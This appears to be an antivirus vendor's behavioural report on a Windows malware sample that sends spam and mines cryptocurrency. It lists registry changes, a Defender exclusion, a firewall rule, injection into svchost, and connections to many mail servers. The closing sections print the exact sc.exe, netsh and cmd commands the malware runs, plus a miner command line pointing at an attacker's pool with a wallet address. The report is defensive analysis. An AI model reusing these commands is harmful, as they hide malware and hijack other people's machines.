Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\nmfnoeyd] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\nmfnoeyd] 'ImagePath' = '%WINDIR%\SysWOW64\nmfnoeyd\zxvtxbtu.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\nmfnoeyd] 'ImagePath' = '%WINDIR%\SysWOW64\nmfnoeyd\zxvtxbtu.exe'
Creates the following services
- 'nmfnoeyd' %WINDIR%\SysWOW64\nmfnoeyd\zxvtxbtu.exe /d"<Full path to file>"
- 'nmfnoeyd' %WINDIR%\SysWOW64\nmfnoeyd\zxvtxbtu.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\nmfnoeyd' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\zxvtxbtu.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\zxvtxbtu.exe to %WINDIR%\syswow64\nmfnoeyd\zxvtxbtu.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'mx###.ziggo.nl':25
- 'mx#######703.gslb.pphosted.com':25
- 'ma##.#arriott.com':25
- '52.##3.241.7':443
- 'mx.##stpost.net':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'ka#####l.kanaweb.org':25
- 'mx.##lberta.ca':25
- '10#.#8.139.44':443
- 'ma#####e2.viaero.com':25
- 'mx#.#eznam.cz':25
- '10#.#8.138.44':443
- 'mt#.#1cn.com':25
- 'mx.###igroup.com':25
- 'mx#######d01.gslb.pphosted.com':25
- 'mx##.#lackberry.com':25
- 'ma##.dvusd.org':25
- 'mx##.mail.com':25
- 'ac#.###.1.arsmtp.com':25
- 'dn.#oris.ua':25
- 'mt##.##0.yahoodns.net':25
- 'pa####x.above.com':25
- 'mx###.comcast.net':25
- 'ho#########.olc.protection.outlook.com':25
- 'in###gram.com':443
- 'mx#.##elandnet.nl':25
- 'cu#######-1.in.mailcontrol.com':25
- 'mx.##mpatico.ca':25
- 'mx##.#ataplan.eu':25
- '16#####.mxmail.netease.com':25
- 'my.##box.com':25
- 'ma##.#ailerhost.net':25
- 'mb##.tsc4.com':25
- 'as###.daum.net':25
- 'p.####om.ctmail.com':25
- 'xb###.secure.ne.jp':25
- 'mx#.#anmail.net':25
- 'mx###.##stedmxserver.com':25
- 'mx####.carrierzone.com':25
- 'mx#.#ate.com':25
- 'mx#######c05.gslb.pphosted.com':25
- 'cm######.org.1.0001.arsmtp.com':25
- 'mx.#####.#om.cust.b.hostedemail.com':25
- 'mx######90501.pphosted.com':25
- 'mx.###zta.onet.pl':25
- 'mx#######701.gslb.pphosted.com':25
- 'sm###.#ail.medcity.net':25
- 'ma###.#ailinator.com':25
- 'mx#######c01.gslb.pphosted.com':25
- 'mx#######b01.gslb.pphosted.com':25
- 'mx#######102.gslb.pphosted.com':25
- 'ma##.#bstudios.com':25
- 'mx#.####497.c3s2.iphmx.com':25
- 'aspmx.l.google.com':25
- 'alt1.aspmx.l.google.com':25
- 'mx#######302.gslb.pphosted.com':25
- 'cx#.##.#.cloudfilter.net':25
- 'go########lky.com.1.0001.arsmtp.com':25
- 'al######x-vip1.prodigy.net':25
- 'mx######5fd02.pphosted.com':25
- 'mx#######b02.gslb.pphosted.com':25
- 'mx.##a.untd.com':25
- 'mx##.#-online.de':25
- 'mx######91d01.pphosted.com':25
- 'ff######x-vip2.prodigy.net':25
- 'mx###.##tsol.xion.oxcs.net':25
- 'mx#.##ckeyecom.net':25
- 'mx#.###537-19.iphmx.com':25
- 'mx#######f01.gslb.pphosted.com':25
- 'mx##.###us-vadesecure.net':25
- 'mx#######802.gslb.pphosted.com':25
- 'mx#######e02.gslb.pphosted.com':25
- 'mx#######501.gslb.pphosted.com':25
- 'fa###ool.xyz':10060
- 'na#.###.#rotection.outlook.com':25
- 'ma##.#-email.net':25
- 'bt##rum.pl':25
- 'ma###.#ebsitesource.net':25
- 'mx##.##il.icloud.com':25
- 'mx#.###572-36.iphmx.com':25
- 'mx#######601.gslb.pphosted.com':25
- 'mx#######301.gslb.pphosted.com':25
- '17#.#13.115.158':480
- 'sv####lfheim.top':443
- 'sm####.cfnmail.com':25
- 'mx#######901.gslb.pphosted.com':25
- 'ca########usfeld.com.1.arsmtp.com':25
- 'al######x-vip2.prodigy.net':25
- 'sa#.#bgteam.net':25
- 'so####1.sohu.com':25
- 'mx#.#harter.net':25
- 'ma##.#obohead.net':25
- 'mx##.#ail.citi.com':25
- 'mx#######a01.gslb.pphosted.com':25
- 'mx#######201.gslb.pphosted.com':25
- 'ff######x-vip1.prodigy.net':25
- 'mx.########e.prod.cloud.synchronoss.net':25
- 'mx#.#aver.com':25
- 'mx#.#ithi.com':25
- 'mx#######101.gslb.pphosted.com':25
- '17#.#13.115.157':424
- 'google.com':80
- '17#.#13.115.156':424
- '80.#6.75.4':424
- '17#.#13.115.155':424
- '17#.#13.115.154':424
- '17#.#13.115.153':424
- 'sm###.zianet.com':25
- 'mx#.###069-42.iphmx.com':25
- 'mx#######e01.gslb.pphosted.com':25
- 'mx.######mail.rediff.akadns.net':25
- 'r-####4.korea.com':25
- 'sm####.laposte.net':25
- 'gl##########mx.email-protect.gosecure.net':25
- 'mx#######005.gslb.pphosted.com':25
- '12#####.mxmail.netease.com':25
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'sv####lfheim.top':443
- 'pa####x.above.com':25
- 'mt##.##0.yahoodns.net':25
- 'ac#.###.1.arsmtp.com':25
- 'ma##.dvusd.org':25
- 'mt#.#1cn.com':25
- '10#.#8.138.44':443
- 'mx#.#eznam.cz':25
- '10#.#8.139.44':443
- 'mx####.##il.gm0.yahoodns.net':25
- 'mx.##stpost.net':25
- 'ma##.#arriott.com':25
- 'mx###.ziggo.nl':25
- '52.##3.241.7':443
- 'mx#.##elandnet.nl':25
- 'cu#######-1.in.mailcontrol.com':25
- 'aspmx.l.google.com':25
- 'alt1.aspmx.l.google.com':25
- 'mx#.####497.c3s2.iphmx.com':25
- 'ma###.#ailinator.com':25
- 'cm######.org.1.0001.arsmtp.com':25
- 'mx.###zta.onet.pl':25
- 'ma##.#bstudios.com':25
- 'mx#######b01.gslb.pphosted.com':25
- 'mx####.carrierzone.com':25
- 'mx###.##stedmxserver.com':25
- 'mx#.#anmail.net':25
- 'xb###.secure.ne.jp':25
- 'p.####om.ctmail.com':25
- 'as###.daum.net':25
- 'in###gram.com':443
- 'my.##box.com':25
- 'ho#########.olc.protection.outlook.com':25
- 'al######x-vip1.prodigy.net':25
- '17#.#13.115.158':480
- 'ma###.#ebsitesource.net':25
- 'na#.###.#rotection.outlook.com':25
- 'bt##rum.pl':25
- 'fa###ool.xyz':10060
- 'mx#.###572-36.iphmx.com':25
- 'ma##.#-email.net':25
- 'mx#.##ckeyecom.net':25
- 'ff######x-vip2.prodigy.net':25
- 'ca########usfeld.com.1.arsmtp.com':25
- 'al######x-vip2.prodigy.net':25
- 'gl##########mx.email-protect.gosecure.net':25
- 'mx.######mail.rediff.akadns.net':25
- 'mx#.###069-42.iphmx.com':25
- 'r-####4.korea.com':25
- 'sm###.zianet.com':25
- '80.#6.75.4':424
- '17#.#13.115.154':424
- '17#.#13.115.155':424
- '17#.#13.115.157':424
- 'sm####.laposte.net':25
- 'mx#######101.gslb.pphosted.com':25
- '17#.#13.115.156':424
- 'mx#.#aver.com':25
- 'mx#.#ithi.com':25
- 'ff######x-vip1.prodigy.net':25
- '17#.#13.115.153':424
- 'ma##.#obohead.net':25
- 'go########lky.com.1.0001.arsmtp.com':25
- 'sa#.#bgteam.net':25
- '16#####.mxmail.netease.com':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK co###serve.com
- DNS ASK ma###ott.com
- DNS ASK ma##.#arriott.com
- DNS ASK kp.org
- DNS ASK mx#######703.gslb.pphosted.com
- DNS ASK zi##o.nl
- DNS ASK mx###.ziggo.nl
- DNS ASK ze###ndnet.nl
- DNS ASK mx#.##elandnet.nl
- DNS ASK co###rse.com
- DNS ASK cu#######-1.in.mailcontrol.com
- DNS ASK mx#######102.gslb.pphosted.com
- DNS ASK sy###tico.ca
- DNS ASK ru####rs-group.com
- DNS ASK mx##.#ataplan.eu
- DNS ASK yk###oup.org
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK ys###oni.com
- DNS ASK aspmx.l.google.com
- DNS ASK ya##io.com
- DNS ASK wa##a.com
- DNS ASK mx#.####497.c3s2.iphmx.com
- DNS ASK ub###dios.com
- DNS ASK ma##.#bstudios.com
- DNS ASK we###ost.net
- DNS ASK mx.##stpost.net
- DNS ASK mx.##mpatico.ca
- DNS ASK ch#####rapeutics.com
- DNS ASK ka#####l.kanaweb.org
- DNS ASK dn.#oris.ua
- DNS ASK ac#.com
- DNS ASK ac#.###.1.arsmtp.com
- DNS ASK ma##.com
- DNS ASK mx##.mail.com
- DNS ASK dv##d.org
- DNS ASK ma##.dvusd.org
- DNS ASK vi##o.com
- DNS ASK mx##.#lackberry.com
- DNS ASK bo######ringscharter.org
- DNS ASK mx#######d01.gslb.pphosted.com
- DNS ASK di###roup.com
- DNS ASK mx.###igroup.com
- DNS ASK 21##.com
- DNS ASK mt#.#1cn.com
- DNS ASK em##l.cz
- DNS ASK mx#.#eznam.cz
- DNS ASK ho##ial.com
- DNS ASK vi##ro.com
- DNS ASK ma#####e2.viaero.com
- DNS ASK ua##erta.ca
- DNS ASK mx.##lberta.ca
- DNS ASK ka##web.org
- DNS ASK cs.com
- DNS ASK de##.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK mm#.com
- DNS ASK su###ust.com
- DNS ASK ha##ail.net
- DNS ASK ti##jo.com
- DNS ASK se##am.cz
- DNS ASK ko###ukai.org
- DNS ASK xb###.secure.ne.jp
- DNS ASK ve####edgallery.com
- DNS ASK p.####om.ctmail.com
- DNS ASK pa##n.com
- DNS ASK as###.daum.net
- DNS ASK nc##e.org
- DNS ASK tu##ine.com
- DNS ASK un##rax.com
- DNS ASK mx#######b01.gslb.pphosted.com
- DNS ASK ts##.com
- DNS ASK mc##.com
- DNS ASK ma##.#ailerhost.net
- DNS ASK gm##j.com
- DNS ASK gt#.net
- DNS ASK in##x.com
- DNS ASK my.##box.com
- DNS ASK 16#.com
- DNS ASK 16#####.mxmail.netease.com
- DNS ASK rh###chemie.com
- DNS ASK mx#######302.gslb.pphosted.com
- DNS ASK be###outh.com
- DNS ASK mx###.##stedmxserver.com
- DNS ASK mx#.#anmail.net
- DNS ASK ol.com
- DNS ASK ri#.com
- DNS ASK ci##a.com
- DNS ASK ma###nator.com
- DNS ASK ma###.#ailinator.com
- DNS ASK st###ids.com
- DNS ASK sm###.#ail.medcity.net
- DNS ASK wa###rbros.com
- DNS ASK oh#.com
- DNS ASK mx#######701.gslb.pphosted.com
- DNS ASK on#t.eu
- DNS ASK mx.###zta.onet.pl
- DNS ASK cm###ver.org
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK cm######.org.1.0001.arsmtp.com
- DNS ASK sk##.net
- DNS ASK mx######90501.pphosted.com
- DNS ASK mx.#####.#om.cust.b.hostedemail.com
- DNS ASK hc##.com
- DNS ASK ml.com
- DNS ASK mx#######c05.gslb.pphosted.com
- DNS ASK bo##.com
- DNS ASK na##.com
- DNS ASK mx#.#ate.com
- DNS ASK jc##w.com
- DNS ASK ai##ail.net
- DNS ASK mx####.carrierzone.com
- DNS ASK ca#####eamhealth.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK ma###ity.com
- DNS ASK fr###ier.com
- DNS ASK pa####x.above.com
- DNS ASK si###tel.com
- DNS ASK ea###link.net
- DNS ASK mx##.###us-vadesecure.net
- DNS ASK pi###irst.com
- DNS ASK mx#.###537-19.iphmx.com
- DNS ASK be#.net
- DNS ASK mx#.##ckeyecom.net
- DNS ASK ea###link.com
- DNS ASK sm##.net
- DNS ASK mx###.##tsol.xion.oxcs.net
- DNS ASK bu####eexpress.com
- DNS ASK sw##ll.net
- DNS ASK ff######x-vip2.prodigy.net
- DNS ASK at#.com
- DNS ASK mx######91d01.pphosted.com
- DNS ASK t-##line.de
- DNS ASK mx##.#-online.de
- DNS ASK ab##tt.com
- DNS ASK mx#######b02.gslb.pphosted.com
- DNS ASK ju##.com
- DNS ASK mx.##a.untd.com
- DNS ASK co####wealth.com
- DNS ASK sm####.cfnmail.com
- DNS ASK co##tax.com
- DNS ASK mx#######802.gslb.pphosted.com
- DNS ASK me.com
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK us.##mura.com
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK mx##.##il.icloud.com
- DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
- DNS ASK dr###homes.com
- DNS ASK 23#.###.#12.82.bl.spamcop.net
- DNS ASK mx#######301.gslb.pphosted.com
- DNS ASK la##p.com
- DNS ASK 23#.###.#12.82.zen.spamhaus.org
- DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK nf##gyn.com
- DNS ASK 23#.###.#12.82.cbl.abuseat.org
- DNS ASK mx#.###572-36.iphmx.com
- DNS ASK mx######5fd02.pphosted.com
- DNS ASK 12#.com
- DNS ASK ma#.com
- DNS ASK ma###.#ebsitesource.net
- DNS ASK bt##rum.pl
- DNS ASK gm##.com
- DNS ASK ma##.#-email.net
- DNS ASK we##v.net
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK fa###ool.xyz
- DNS ASK cn#.com
- DNS ASK mx#######e02.gslb.pphosted.com
- DNS ASK am###trade.com
- DNS ASK sv####lfheim.top
- DNS ASK st#######ncreteoriginals.com
- DNS ASK mb##.tsc4.com
- DNS ASK so####county.com
- DNS ASK be###outh.net
- DNS ASK me###comm.com
- DNS ASK ci###roup.com
- DNS ASK ma##.#obohead.net
- DNS ASK mx##.#ail.citi.com
- DNS ASK ch##ter.net
- DNS ASK mx#.#harter.net
- DNS ASK so##.com
- DNS ASK so####1.sohu.com
- DNS ASK li#####villetownship.us
- DNS ASK sa#.#bgteam.net
- DNS ASK me##tar.net
- DNS ASK al###ate.com
- DNS ASK sb###obal.net
- DNS ASK al######x-vip1.prodigy.net
- DNS ASK go####pitalky.com
- DNS ASK go########lky.com.1.0001.arsmtp.com
- DNS ASK co#.net
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK in###gram.com
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK co##ast.net
- DNS ASK mx###.comcast.net
- DNS ASK ff######x-vip1.prodigy.net
- DNS ASK mx#######005.gslb.pphosted.com
- DNS ASK mx#######a01.gslb.pphosted.com
- DNS ASK gr###ill.com
- DNS ASK at#.net
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK al######x-vip2.prodigy.net
- DNS ASK ga#####lifestyle.com
- DNS ASK gl##########mx.email-protect.gosecure.net
- DNS ASK ko##a.com
- DNS ASK r-####4.korea.com
- DNS ASK la##ste.net
- DNS ASK sm####.laposte.net
- DNS ASK re###fmail.com
- DNS ASK mx.######mail.rediff.akadns.net
- DNS ASK fi####orizon.com
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK ca#####lhausfeld.com
- DNS ASK mx#.###069-42.iphmx.com
- DNS ASK sm###.zianet.com
- DNS ASK google.com
- DNS ASK al####tenergy.com
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK pa###group.com
- DNS ASK mx#.#ithi.com
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK op###line.net
- DNS ASK mx.########e.prod.cloud.synchronoss.net
- DNS ASK ca########usfeld.com.1.arsmtp.com
- DNS ASK ve##zon.com
- DNS ASK zi##et.com
- DNS ASK 12#####.mxmail.netease.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\nmfnoeyd\zxvtxbtu.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nmfnoeyd\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zxvtxbtu.exe" %WINDIR%\SysWOW64\nmfnoeyd\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create nmfnoeyd binPath= "%WINDIR%\SysWOW64\nmfnoeyd\zxvtxbtu.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description nmfnoeyd "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start nmfnoeyd' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nmfnoeyd\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zxvtxbtu.exe" %WINDIR%\SysWOW64\nmfnoeyd\
- '%WINDIR%\syswow64\sc.exe' create nmfnoeyd binPath= "%WINDIR%\SysWOW64\nmfnoeyd\zxvtxbtu.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description nmfnoeyd "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start nmfnoeyd
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half